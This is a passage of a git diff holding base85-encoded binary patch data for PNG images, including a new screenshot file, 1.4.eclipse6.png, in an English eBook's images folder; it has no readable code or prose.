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 z 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 literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.4.eclipse6.png b/en/eBook/images/1.4.eclipse6.png new file mode 100644 index 0000000000000000000000000000000000000000..7771ec2e2a0dcf0cd1b18fa17c38ac02055a54e6 GIT binary patch literal 292183 zcmV(>K-j;DP)Px#1ZP1_K>z@;j|==^1poj5AY({UO#lFTCIA3{ga82g0001h=l}q9FaQARU;qF* zm;eA5aGbhPJOBXyj!8s8RCr$O{RMbjNAf-j_b^B!W|k#0GsY~7VL&5hX36Z>jzbP7 z4&#Qin`DDd>?CGplr3gvW}LonpGmU&ga7v>_j&fYxi|4sIT_9L>C>mWyXx)gs%qZS 